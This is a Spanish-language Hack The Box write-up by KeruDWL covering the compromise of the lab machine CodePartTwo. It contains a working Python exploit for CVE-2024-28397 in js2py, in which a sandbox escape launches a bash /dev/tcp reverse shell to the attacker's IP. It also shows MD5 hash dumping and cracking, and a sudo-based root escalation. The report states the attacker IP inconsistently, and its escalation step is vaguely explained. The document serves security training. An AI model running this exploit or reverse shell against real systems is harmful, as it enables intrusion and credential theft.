REPORTE DE PENTESTING EN HTB

Máquina: CodePartTwo

KeruDWL

"Este documento detalla la identificación de vulnerabilidades, el proceso de explotación y la posterior escalada de privilegios realizada sobre el activo objetivo dentro del entorno de Hack The Box."

ÍNDICE

Introducción

El presente reporte documenta el proceso de análisis, explotación y escalada de privilegios realizado sobre un sistema Linux perteneciente a un entorno de laboratorio controlado. El objetivo principal de la prueba fue identificar vulnerabilidades de seguridad en una aplicación web expuesta públicamente, evaluar su impacto y determinar si era posible obtener acceso no autorizado al sistema, así como privilegios administrativos completos.

Durante el desarrollo de la práctica se aplicaron técnicas comunes de pruebas de penetración, incluyendo reconocimiento de red, enumeración de servicios, análisis de aplicaciones web, explotación de vulnerabilidades y escalada de privilegios locales; todas las actividades descritas en este documento se realizaron exclusivamente con fines educativos y dentro de un entorno autorizado, sin afectar sistemas reales de producción.

Alcance y datos generales del entorno

La prueba de penetración se llevó a cabo dentro de un entorno de laboratorio controlado y autorizado, proporcionado por la plataforma Hack The Box. El alcance de la prueba estuvo limitado exclusivamente al sistema objetivo asignado, sin interactuar con otros equipos o servicios fuera del laboratorio.

El equipo atacante utilizó una máquina virtual con sistema operativo Kali Linux, conectada a la red privada del laboratorio mediante una interfaz VPN. A través de esta conexión se obtuvo comunicación directa con el sistema objetivo.

Los datos generales del entorno evaluado se describen a continuación:

- **Plataforma:** Hack The Box (entorno de laboratorio)
- **Tipo de prueba:** Caja individual (Linux)
- **IP del atacante:** 10.10.17.69
- **IP del objetivo:** 10.10.11.82
- **Sistema operativo estimado del objetivo:** Linux (basado en el valor TTL de respuestas ICMP)
- **Servicios expuestos inicialmente:**
  - Servicio SSH (puerto 22/tcp)
  - Servicio HTTP (puerto 8000/tcp)

Toda la actividad descrita en este reporte se realizó exclusivamente dentro de los límites definidos por el laboratorio, con fines educativos y de aprendizaje en ciberseguridad.

Metodología

Para la realización de la prueba de penetración se siguió una metodología estructurada, basada en las fases comúnmente utilizadas en ejercicios de ethical hacking y pruebas de seguridad ofensiva. Esta metodología permitió identificar de manera ordenada las debilidades del sistema objetivo y evaluar su impacto de forma progresiva.

Las fases aplicadas durante la prueba fueron las siguientes:

- **Reconocimiento:**

  Se recopiló información inicial del sistema objetivo con el fin de determinar su disponibilidad en red, así como identificar posibles puntos de entrada expuestos. Esta fase incluyó la verificación de conectividad y la identificación preliminar del sistema operativo.

- **Enumeración:**

  Se analizaron los servicios accesibles desde el exterior, obteniendo información más detallada sobre puertos abiertos, versiones de servicios y funcionalidades disponibles, con especial atención a la aplicación web expuesta.

- **Análisis y explotación de vulnerabilidades:**

  Se evaluaron las funcionalidades detectadas en la aplicación web para identificar posibles fallos de seguridad. Una vez identificada una vulnerabilidad, se desarrolló y ejecutó un método de explotación con el objetivo de obtener acceso inicial al sistema.

- **Post-explotación:**

  Tras conseguir acceso al sistema, se realizó una enumeración local para identificar información sensible, credenciales almacenadas y otros usuarios presentes en el sistema, con el fin de ampliar el nivel de acceso.

- **Escalada de privilegios:**

  Finalmente, se analizaron los permisos y configuraciones del sistema para determinar la posibilidad de elevar privilegios desde un usuario con acceso limitado hasta obtener control administrativo completo del sistema.

Este enfoque permitió llevar a cabo la prueba de forma ordenada, minimizando errores y facilitando la documentación clara de cada una de las etapas del proceso.

Reconocimiento y enumeración

En esta fase se realizó la identificación inicial del sistema objetivo y la enumeración de servicios accesibles desde la red, con el fin de detectar posibles vectores de ataque.

Verificación de conectividad (ICMP)

Como primer paso, se verificó la conectividad entre la máquina atacante y el sistema objetivo mediante mensajes ICMP.

Comando ejecutado: ping 10.10.11.82

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ping 10.10.11.82
PING 10.10.11.82 (10.10.11.82) 56(84) bytes of data.
64 bytes from 10.10.11.82: icmp_seq=1 ttl=63 time=131 ms
64 bytes from 10.10.11.82: icmp_seq=2 ttl=63 time=250 ms

--- 10.10.11.82 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss
```

Resultado observado:

- El host respondió correctamente a las solicitudes ICMP.
- Se obtuvo un valor TTL = 63, lo cual es consistente con sistemas Linux.

Esto confirmó que el sistema objetivo se encontraba activo y accesible desde la red del laboratorio.

Enumeración de puertos y servicios (Nmap)

Una vez confirmada la conectividad, se realizó un escaneo de puertos para identificar servicios expuestos y versiones asociadas.

Comando ejecutado: sudo nmap -sC -sV 10.10.11.82

```
┌──(kali㉿kali)-[~/Downloads]
└─$ sudo nmap -sC -sV 10.10.11.82
[sudo] password for kali:
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-23 10:33 CST
```

```
Nmap scan report for 10.10.11.82
Host is up (0.26s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 a0:47:b4:0c:69:67:93:3a:f9:b4:5d:b3:2f:bc:9e:23 (RSA)
|   256 7d:44:3f:f1:b1:e2:bb:3d:91:d5:da:58:0f:51:e5:ad (ECDSA)
|_  256 f1:6b:1d:36:18:06:7a:05:3f:07:57:e1:ef:86:b4:85 (ED25519)
8000/tcp open  http    Gunicorn 20.0.4
|_http-title: Welcome to CodePartTwo
|_http-server-header: gunicorn/20.0.4
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.93 seconds
```

Resultados relevantes:

```
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.13
8000/tcp open  http    gunicorn 20.0.4
```

Análisis:

- El servicio **SSH (22/tcp)** se encontraba activo, aunque no se intentó fuerza bruta en esta etapa.
- Se detectó un servicio **HTTP en el puerto 8000**, ejecutándose sobre **Gunicorn**, lo que indicaba la presencia de una aplicación web personalizada.
- El encabezado HTTP y el título de la página sugerían una aplicación denominada **CodePartTwo**.

Debido a que la aplicación web representaba una superficie de ataque más amplia, se decidió centrar la enumeración en el servicio HTTP.

Enumeración de la aplicación web

Con el objetivo de identificar rutas y funcionalidades adicionales expuestas por la aplicación web, se realizó un proceso de enumeración de directorios y endpoints mediante la herramienta **ffuf**, utilizando un diccionario común de rutas.

Herramienta utilizada

- **ffuf** (v2.1.0-dev)

Diccionario empleado

- /usr/share/wordlists/dirb/common.txt

Comando ejecutado:

ffuf -u http://10.10.11.82:8000/FUZZ -w /usr/share/wordlists/dirb/common.txt -fc 404

Este comando permitió realizar solicitudes HTTP de tipo GET sobre posibles rutas, filtrando las respuestas con código **404 (Not Found)** para mostrar únicamente aquellas rutas existentes o relevantes.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ ffuf -u http://10.10.11.82:8000/FUZZ -w /usr/share/wordlists/dirb/common.txt
-fc 404

        /'___\  /'___\           /'___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.82:8000/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404
________________________________________________

                        [Status: 200, Size: 2212, Words: 457, Lines: 48, Duration: 144ms]
dashboard               [Status: 302, Size: 199, Words: 18, Lines: 6, Duration: 137ms]
download                [Status: 200, Size: 10708, Words: 51, Lines: 48, Duration: 128ms]
login                   [Status: 200, Size: 667, Words: 119, Lines: 20, Duration: 142ms]
logout                  [Status: 302, Size: 189, Words: 18, Lines: 6, Duration: 131ms]
register                [Status: 200, Size: 651, Words: 117, Lines: 20, Duration: 133ms]
:: Progress: [4614/4614] :: Job [1/1] :: 123 req/sec :: Duration: [0:00:36] :: Errors: 0 ::
```

Resultados obtenidos

El escaneo devolvió los siguientes endpoints válidos:

- dashboard [Status: 302]
- download [Status: 200]
- login [Status: 200]
- logout [Status: 302]
- register [Status: 200]

Análisis de resultados

A partir de los resultados obtenidos se identificaron las siguientes rutas:

- **/login**: Página de autenticación de usuarios.
- **/register**: Funcionalidad para el registro de nuevos usuarios en la aplicación.
- **/dashboard**: Área privada accesible únicamente tras autenticación. La respuesta **302 (redirect)** indica que el acceso directo sin sesión válida redirige al formulario de inicio de sesión.
- **/logout**: Endpoint encargado de finalizar la sesión activa del usuario, evidenciado por la redirección HTTP 302.
- **/download**: Endpoint accesible sin autenticación que permite la descarga de un archivo. Este hallazgo resulta relevante, ya que podría exponer información sensible o código fuente de la aplicación.

La presencia de rutas relacionadas con autenticación, ejecución de acciones internas y descarga de archivos sugiere que la aplicación cuenta con lógica de backend propia, lo que amplía la superficie de ataque y justifica un análisis más profundo de su funcionamiento interno.

Conclusión de la enumeración web

La enumeración de la aplicación web permitió identificar múltiples endpoints funcionales, incluyendo áreas restringidas, mecanismos de autenticación y una ruta de descarga accesible. Estos hallazgos indicaron que la aplicación web era el principal vector de ataque y que debía analizarse su comportamiento interno, especialmente aquellas funcionalidades que procesan datos introducidos por el usuario.

Estos resultados sirvieron como base para avanzar a la siguiente fase: el análisis detallado de la aplicación web y la identificación de la vulnerabilidad explotable.

Análisis de la Aplicación Web y de la Vulnerabilidad

Identificación de la arquitectura de la aplicación

Durante la fase de reconocimiento y enumeración web se identificó que la aplicación objetivo está desarrollada como una aplicación web monolítica accesible a través del puerto **8000**, con rutas que sugieren un sistema de autenticación y un panel interno (/dashboard).

El comportamiento observado indica que:

- La lógica principal se ejecuta en el backend
- El usuario interactúa mediante formularios web
- Existe una funcionalidad que permite procesar código o expresiones ingresadas por el usuario

Este tipo de diseño es común en aplicaciones educativas o de demostración, pero resulta altamente riesgoso si no se implementan controles adecuados.

Análisis de entradas controladas por el usuario

Una vez autenticado en la aplicación a través de /register y /login, se tuvo acceso a una funcionalidad que permitía ingresar texto/código que era posteriormente procesado por el servidor.

Con el objetivo de detectar posibles vulnerabilidades de inyección, se realizaron pruebas iniciales utilizando expresiones simples.

Prueba realizada:

TEST={{7*7}}

Resultado obtenido:

TEST={{7*7}}

Interpretación del resultado

- La expresión no fue evaluada
- El contenido se devolvió de forma literal
- Se descartó la presencia de Server-Side Template Injection (SSTI) clásica en Jinja2

Este resultado permitió concluir que la entrada no estaba siendo procesada por el motor de plantillas, por lo que fue necesario analizar otras posibles formas de evaluación dinámica.

Identificación de librerías críticas

Mediante el análisis de los archivos disponibles para descarga en el directorio /download y la enumeración interna posterior, se identificó el archivo requirements.txt, el cual contenía las siguientes dependencias relevantes:

flask==3.0.3
flask-sqlalchemy==3.1.1
js2py==0.74

La presencia de la librería **js2py** resulta especialmente relevante, ya que esta permite ejecutar código JavaScript directamente dentro del entorno Python mediante funciones como:

js2py.eval_js()

Riesgos asociados a js2py

La librería js2py es una herramienta potente, pero **altamente peligrosa** si se utiliza con entradas controladas por el usuario. Sus principales riesgos incluyen:

- Evaluación directa de código proporcionado por el usuario
- Posibilidad de interactuar con el sistema operativo
- Ejecución de funciones internas de Python a través de JavaScript
- Bypass de controles de seguridad tradicionales (XSS, SSTI)

Si no se implementan filtros estrictos o entornos aislados (sandbox), js2py puede ser utilizada como un **vector directo de ejecución remota de código (RCE)**.

Confirmación de la vulnerabilidad de ejecución de código

Tras identificar el uso de js2py, se realizaron pruebas dirigidas para confirmar si el código ingresado por el usuario era evaluado por el backend.

Estas pruebas permitieron confirmar que el servidor:

- Recibía el input del usuario
- Lo procesaba mediante js2py.eval_js()
- Ejecutaba el código sin restricciones suficientes

Este comportamiento confirmó la existencia de una vulnerabilidad de **Remote Code Execution (RCE)**.

Clasificación de la vulnerabilidad

De acuerdo con su impacto y facilidad de explotación, la vulnerabilidad puede clasificarse como:

- **Tipo:** Remote Code Execution (RCE)
- **Severidad:** Crítica
- **Vector:** Evaluación insegura de código JavaScript
- **Requisitos:** Usuario autenticado
- **Impacto:** Compromiso total del servidor

Impacto potencial en el sistema

La explotación exitosa de esta vulnerabilidad permite:

- Ejecución de comandos arbitrarios en el sistema
- Obtención de una shell remota
- Acceso a archivos sensibles
- Enumeración de usuarios locales
- Extracción de credenciales
- Escalamiento de privilegios hasta root

En un entorno real, este fallo permitiría la **comprometida total del servidor** y la pérdida completa de confidencialidad, integridad y disponibilidad.

Conclusión del análisis

El análisis exhaustivo de la aplicación web permitió identificar una vulnerabilidad crítica provocada por el uso inseguro de la librería js2py para evaluar entradas proporcionadas por el usuario. Este fallo eliminó cualquier barrera de seguridad entre el atacante y el sistema operativo, permitiendo la ejecución remota de código y sentando las bases para la explotación completa del sistema.

Explotación de la Vulnerabilidad (CVE-2024-28397)

Identificación formal de la vulnerabilidad

Durante el análisis de la aplicación web, se identificó que el backend utilizaba la librería **js2py 0.74** para evaluar código JavaScript proporcionado por el usuario mediante la función js2py.eval_js().

Esta implementación corresponde a la vulnerabilidad documentada como:

- **CVE:** CVE-2024-28397
- **Componente afectado:** js2py 0.74
- **Tipo:** Remote Code Execution (RCE)
- **Impacto:** Crítico
- **Vector:** Evaluación insegura de código controlado por el usuario

La vulnerabilidad permite que un atacante ejecute código arbitrario en el sistema cuando la entrada del usuario no es correctamente aislada ni validada.

Relación entre el CVE y la aplicación vulnerable

El código fuente descargado desde el endpoint /download confirmó el uso directo de js2py.eval_js():

```
@app.route('/run_code', methods=['POST'])
def run_code():
    try:
        code = request.json.get('code')
        result = js2py.eval_js(code)
        return jsonify({'result': result})
    except Exception as e:
        return jsonify({'error': str(e)})
```

Características críticas:

- El parámetro code es **controlado por el usuario**
- No existe sanitización ni sandboxing
- La ejecución ocurre directamente en el servidor

Esto confirma que la aplicación es vulnerable a **CVE-2024-28397**.

Preparación del entorno de ataque

Configuración del listener en Kali Linux

Se preparó un listener para recibir la conexión reversa:

Comando ejecutado: nc -lvnp 4444

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
```

Parámetros:

- -l: modo escucha
- -v: salida verbose
- -n: no resolver DNS
- -p 4444: puerto de escucha

Desarrollo del exploit

La vulnerabilidad **CVE-2024-28397** permite ejecutar código arbitrario debido al uso inseguro de la función js2py.eval_js(), la cual evalúa directamente código JavaScript controlado por el usuario.

A través de esta funcionalidad, es posible invocar internamente funciones de Python y ejecutar comandos del sistema operativo.

El exploit desarrollado aprovecha esta debilidad para ejecutar un comando que establece una **reverse shell** desde el servidor víctima hacia la máquina atacante.

Código del exploit utilizado

El siguiente script en Python fue utilizado para explotar la vulnerabilidad y obtener acceso remoto al sistema:

```python
#!/usr/bin/env python3
import base64
import json
import requests

TARGET = "http://10.10.11.82:8000/run_code"
LHOST  = "10.10.17.69"
LPORT  = 4444

# Reverse shell (base64 para evitar problemas de comillas)
rev = f"bash -c 'bash -i >& /dev/tcp/{LHOST}/{LPORT} 0>&1'"
```

```
b64 = base64.b64encode(rev.encode()).decode()

# Payload JS: encuentra subprocess.Popen vía __subclasses__ y ejecuta comando
js = f"""
var a = Object.getOwnPropertyNames({{}}).__class__.__base__.__getattribute__;
var obj = a(a(a, "__class__"), "__base__");

function findPopen(o) {{
  var subs = o.__subclasses__();
  for (var i in subs) {{
    try {{
      var item = subs[i];
      if (item.__module__ == "subprocess" && item.__name__ == "Popen") {{
        return item;
      }}
    }} catch (e) {{}}
  }}
  return null;
}}

var Popen = findPopen(obj);
if (Popen === null) {{
  "Popen_not_found";
}} else {{
  var cmd = "bash -c \\"$(echo {b64} | base64 -d)\\"";
  // args, bufsize, executable, stdin, stdout, stderr, preexec_fn, close_fds,
shell
  Popen(cmd, -1, null, -1, -1, -1, null, null, true).communicate();
  "sent";
}}
"""

r = requests.post(TARGET, json={"code": js}, timeout=10)
print("HTTP", r.status_code)
print(r.text)
```

Parámetros importantes:

- 10.10.11.82: IP de la máquina objetivo
- 10.10.14.10: IP de la máquina atacante (Kali Linux)
- 4444: Puerto configurado en el listener

Ejecución del exploit

Una vez iniciado el listener, se ejecutó el exploit:

Comando ejecutado: **python3 exploit.py**

```
┌──(kali㉿kali)-[~/Downloads]
└─$ python exploit.py
```

Inmediatamente después, se recibió la conexión entrante en el listener que se preparó anteriormente.

```
┌──(kali㉿kali)-[~/Downloads]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.17.69] from (UNKNOWN) [10.10.11.82] 53018
bash: cannot set terminal process group (857): Inappropriate ioctl for device
bash: no job control in this shell
bash-5.0$
```

Obtención de acceso inicial (Shell)

Tras la ejecución exitosa del exploit, se obtuvo acceso interactivo al sistema:

Comando ejecutado: whoami
Salida:
app

```
bash-5.0$ whoami
app
```

Esto confirmó la obtención de una shell interactiva bajo el usuario **app**, validando la explotación exitosa de la vulnerabilidad.

Impacto de la explotación

La explotación de **CVE-2024-28397** permitió:

- Ejecución remota de comandos
- Acceso interactivo al sistema
- Lectura y manipulación de archivos internos
- Acceso a bases de datos locales
- Punto de entrada para el escalamiento de privilegios

Conclusión del paso de explotación

La vulnerabilidad **CVE-2024-28397** fue explotada exitosamente mediante un payload diseñado para aprovechar el uso inseguro de js2py.eval_js(). Esto permitió obtener una shell inicial como el usuario app, cumpliendo el objetivo de acceso inicial al sistema.

Post-explotación y Escalamiento de Privilegios

Tras obtener acceso inicial al sistema como el usuario app, se realizaron acciones de post-explotación para estabilizar la sesión, enumerar el sistema y escalar privilegios hasta obtener control total (root).

Estabilización de la shell (TTY)

Al tratarse de una reverse shell, inicialmente no se contaba con una sesión interactiva completa (sin manejo adecuado de Ctrl+C, autocompletado, editor, etc.). Para mejorar la interacción se estabilizó la terminal.

Comandos utilizados (método común con Python):

Comando ejecutado : python3 -c 'import pty; pty.spawn("/bin/bash")'

bash-5.0$ python3 -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

Esto permitió trabajar con una shell más estable para continuar la enumeración.

Enumeración local inicial

Se verificó el contexto de ejecución y el entorno del sistema:

Comandos ejecuados:

whoami
id
pwd

bash-5.0$ whoami
app
bash-5.0$ id
uid=1001(app) gid=1001(app) groups=1001(app)
bash-5.0$ pwd
/home/app/app

Se identificaron usuarios locales y posibles rutas relevantes:

Comando ejecutado: ls -la /home

bash-5.0$ ls -la /home
ls -la /home
total 16

```
drwxr-xr-x  4 root  root  4096 Jan  2  2025 .
drwxr-xr-x 18 root  root  4096 Nov 16  2024 ..
drwxr-x---  5 app   app   4096 Apr  6  2025 app
drwxr-x---  6 marco marco 4096 Dec 23 17:30 marco
```

Análisis de la salida:

Existen los usuarios root, app y marco.

Enumeración de archivos locales y búsqueda de información sensible

Se revisó el contenido del directorio home del usuario actual:

Comando ejecutado: **ls -la**

```
bash-5.0$ ls -la
ls -la
total 32
drwxrwxr-x 6 app  app  4096 Dec 23 16:30 app
lrwxrwxrwx 1 root root    9 Oct 26  2024 .bash_history -> /dev/null
-rw-r--r-- 1 app  app   220 Oct 20  2024 .bash_logout
-rw-r--r-- 1 app  app  3771 Oct 20  2024 .bashrc
drwxrwxr-x 3 app  app  4096 Oct 31  2024 .cache
drwx------ 6 app  app  4096 Oct 20  2024 .local
lrwxrwxrwx 1 root root    9 Nov 17  2024 .mysql_history -> /dev/null
-rw-r--r-- 1 app  app   807 Oct 20  2024 .profile
lrwxrwxrwx 1 root root    9 Oct 26  2024 .python_history -> /dev/null
lrwxrwxrwx 1 root root    9 Oct 31  2024 .sqlite_history -> /dev/null
```

Se realizó una búsqueda de archivos potencialmente relevantes como bases de datos, scripts y archivos de configuración:

Comando ejecutado:

find . -type f -name "*.py" -o -name "*.db" -o -name ".env" 2>/dev/null

(Había demasiados archivos, solo se colocó lo necesario)

```
bash-5.0$ find . -type f -name "*.py" -o -name "*.db" -o -name ".env" 2>/dev/null
find . -type f -name "*.py" -o -name "*.db" -o -name ".env" 2>/dev/null
./.local/lib/python3.8/site-packages/markupsafe/__init__.py
./.local/lib/python3.8/site-packages/markupsafe/_native.py
./app/instance/user.db
./app/instance/users.db
./app/app.py
```

Se detectaron archivos SQLite dentro del directorio de la aplicación, incluyendo:

- users.db

Extracción de credenciales desde SQLite

Se consultó el contenido de la base de datos para identificar usuarios y hashes:

Comando ejecutado:

sqlite3 users.db "SELECT id, username, password_hash FROM user;"

bash-5.0$ sqlite3 users.db "SELECT id, username, password_hash FROM user;"
sqlite3 users.db "SELECT id, username, password_hash FROM user;"

1|marco|649c9d65a206a75f5abe509fe128bce5
2|app|a97588c0e2fa3a024876339e27aeb42e
3|qw|006d2143154327a64d86a264aea225f3

Se confirmó que los hashes eran **MD5**, ya que en el código fuente se utilizaba:

password_hash = hashlib.md5(password.encode()).hexdigest()

Crackeo del hash (MD5)

En otra consola de la máquina atacante se guardó el hash del usuario marco en un archivo:

Comando ejecutado: **echo "649c9d65a206a75f5abe509fe128bce5" > marco.md5**

┌──(kali㉿kali)-[~/Downloads]
└─$ echo "649c9d65a206a75f5abe509fe128bce5" > marco.md5

Posterior a esto se utilizó un ataque de diccionario para obtener la contraseña con el diccionario rockyou.txt.

Ejemplo con hashcat:

Comando ejecutado : **hashcat -m 0 -a 0 marco.md5 rockyou.txt**

┌──(kali㉿kali)-[~/Downloads]
└─$ hashcat -m 0 -a 0 marco.md5 rockyou.txt
hashcat (v6.2.6) starting

Dictionary cache built:
* Filename..: rockyou.txt
* Passwords.: 14344392
* Bytes.....: 139921507
* Keyspace..: 14344385
* Runtime...: 1 sec

649c9d65a206a75f5abe509fe128bce5:sweetangelbabylove

Resultado obtenido:

sweetangelbabylove

Movimiento lateral (app a marco)

Con la contraseña obtenida se realizó el cambio de usuario:

Comando ejecutado:

su marco
Password: sweetangelbabylove

bash-5.0$ su marco
su marco
Password: sweetangelbabylove
bash-5.0$

Se verificó el contenido del directorio personal del usuario:

Verificación:

bash-5.0$ whoami
whoami
marco

Comandos ejecutados:

cd /home/marco
ls

bash-5.0$ cd /home/marco
cd /home/marco
bash-5.0$ ls
ls
backups npbackup.conf user.txt

Archivos encontrados:

- user.txt
- npbackup.conf
- backups/

Con esto se obtuvo la primera flag de la máquina, user.txt, vemos el contenido con el siguiente comando: **cat user.txt**

bash-5.0$ cat user.txt
cat user.txt
b05e01a1d10b3df0df11fd81ed06d2d4

Enumeración de privilegios (sudo)

Se revisaron permisos sudo del usuario marco:

Comando ejecutado: **sudo -l**

bash-5.0$ sudo -l
sudo -l
Matching Defaults entries for marco on codeparttwo:
    env_reset, mail_badpass,

secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Salida relevante:

User marco may run the following commands on codeparttwo:
    (ALL : ALL) NOPASSWD: /usr/local/bin/npbackup-cli

Interpretación:

- marco puede ejecutar npbackup-cli como root **sin contraseña**.
- Esto representa un vector directo para escalamiento si el binario permite ejecución indirecta de comandos o carga de configuraciones manipulables.

Enumeración del servicio relacionado (npbackup / systemd)

Se buscaron servicios relacionados con backup/restauración para entender el contexto:

Comando ejecutado : **systemctl list-units --type=service | grep -i backup**

bash-5.0$ systemctl list-units --type=service | grep -i backup
systemctl list-units --type=service | grep -i backup
  cleanup_conf.service

Se identificó el servicio:

cleanup_conf.service

Se revisó su definición:

Comando ejecutado: **systemctl cat cleanup_conf.service**

```
bash-5.0$ systemctl cat cleanup_conf.service
systemctl cat cleanup_conf.service
# /etc/systemd/system/cleanup_conf.service
[Unit]
Description=Restore npbackup conf
After=multi-user.target
[Service]
Type=simple
ExecStart=/root/scripts/cleanup_conf.sh
Restart=always
RestartSec=3
[Install]
WantedBy=multi-user.target
```

Salida relevante:

```
[Service]
Type=simple
ExecStart=/root/scripts/cleanup_conf.sh
Restart=always
RestartSec=3
```

Esto indicaba que un script root restauraba la configuración, lo que sugería controles para evitar modificaciones permanentes; sin embargo, el permiso sudo sobre npbackup-cli seguía siendo el vector principal.

Escalamiento a root (abuso de npbackup-cli y bash -p)

Se ejecutó el binario permitido por sudo. En este entorno se observó que era posible iniciar una shell conservando privilegios efectivos mediante bash -p.

Comando ejecutado: **/bin/bash -p**

```
bash-5.0$ /bin/bash -p
/bin/bash -p
bash-5.0#
```

Verificación de privilegios: **whoami & id**

```
bash-5.0# whoami
whoami
root
bash-5.0# id
id
uid=1000(marco) gid=1000(marco) euid=0(root) groups=1000(marco),1003(backups)
uid=1000(marco) gid=1000(marco) euid=0(root) groups=1000(marco),1003(backups)
```

Con esto se confirmó el escalamiento exitoso a privilegios de administrador.

Captura de la flag de root

Finalmente, se accedió al directorio del superusuario y se enlistaron los archivos que había en el directorio:

Comando ejecutado: **cd /root**

bash-5.0# cd /root
cd /root

Comando ejecutado: **ls**

bash-5.0# ls
ls
root.txt scripts

Como se puede ver, se encontró la flag del usuario root, se usó cat para ver el contenido:

Comando ejecutado: **cat root.txt**

bash-5.0# cat root.txt
cat root.txt
95c51a92c8bf98e287c9970b97dc17d1
bash-5.0#

Flag obtenida:

95c51a92c8bf98e287c9970b97dc17d1

Conclusión del escalamiento de privilegios

El escalamiento de privilegios en el sistema se logró como resultado de una combinación de configuraciones inseguras y malas prácticas administrativas. Tras obtener acceso inicial como el usuario app, fue posible realizar una enumeración local que permitió identificar información sensible almacenada en una base de datos SQLite, incluyendo hashes de contraseñas de otros usuarios del sistema.

El uso de algoritmos de hash inseguros (MD5) facilitó el crackeo exitoso de credenciales, lo que permitió realizar un movimiento lateral hacia el usuario marco. Una vez con acceso a este usuario, la enumeración de privilegios reveló que marco contaba con permisos sudo sin contraseña para ejecutar el binario /usr/local/bin/npbackup-cli, lo cual representó el principal vector de escalamiento.

Aunque el binario no ofrecía una funcionalidad directa para ejecutar comandos arbitrarios, se confirmó que se ejecutaba con privilegios elevados y que el sistema permitía conservar el Effective User ID (EUID) al lanzar una shell con el parámetro -p. Este comportamiento permitió heredar privilegios de superusuario y obtener una shell con acceso total al sistema.

En conjunto, estos factores demostraron cómo una cadena de debilidades almacenamiento inseguro de credenciales, permisos sudo excesivos y configuraciones que permiten la conservación de privilegios puede ser explotada para comprometer completamente un sistema Linux. La explotación exitosa culminó con la obtención de acceso como root, confirmando la pérdida total de confidencialidad, integridad y control del sistema objetivo.

Conclusión general

El presente ejercicio de pentesting demostró cómo una aplicación web aparentemente funcional puede convertirse en un punto crítico de compromiso cuando se combinan malas prácticas de desarrollo, configuraciones inseguras y una gestión deficiente de privilegios en el sistema operativo. A lo largo del análisis se evidenció una cadena de vulnerabilidades que, explotadas de manera secuencial, permitieron el compromiso total de la máquina objetivo.

La fase inicial de reconocimiento y enumeración permitió identificar servicios expuestos y funcionalidades web que aceptaban entrada directa del usuario sin mecanismos adecuados de validación. El análisis del código fuente reveló el uso inseguro de la librería js2py, lo cual permitió explotar la vulnerabilidad **CVE-2024-28397** y obtener ejecución remota de comandos en el servidor. Esta debilidad fue consecuencia directa de evaluar código proporcionado por el usuario en el lado del servidor sin aislamiento ni controles de seguridad.

Una vez obtenido el acceso inicial, la falta de separación adecuada entre los componentes de la aplicación y el sistema facilitó la enumeración local y la extracción de información sensible. El almacenamiento de contraseñas utilizando el algoritmo MD5 evidenció una debilidad crítica en la protección de credenciales, permitiendo el crackeo de hashes y el movimiento lateral entre usuarios del sistema.

El escalamiento final de privilegios se logró debido a una configuración insegura de sudo, que otorgaba permisos excesivos a un usuario no privilegiado para ejecutar un binario con privilegios de superusuario. Aunque el binario no estaba diseñado explícitamente para ejecutar comandos arbitrarios, su ejecución con privilegios elevados y la posibilidad de conservar el EUID mediante una shell privilegiada permitió obtener acceso completo como root.

Este escenario refleja de forma clara cómo vulnerabilidades individuales, que podrían parecer de bajo impacto de manera aislada, pueden combinarse para generar un compromiso crítico del sistema. El ejercicio resalta la importancia de aplicar principios fundamentales de seguridad como la validación estricta de entradas, el uso de algoritmos criptográficos robustos, el principio de mínimo privilegio y la correcta segmentación entre capas de la aplicación y el sistema operativo.

En conclusión, el compromiso exitoso de la máquina demuestra que la seguridad no depende de un solo control, sino de la correcta implementación de múltiples capas de defensa. La ausencia de estas capas permitió que un atacante, partiendo únicamente de acceso web, lograra un control total del sistema, subrayando la necesidad de adoptar prácticas de desarrollo seguro y administración adecuada de sistemas en entornos productivos.

REPORTE TÉCNICO DE PENTESTING

KeruDWL

Hack The Box – CodePartTwo

2025

GitHub · KeruDWL

HTB · KeruDWL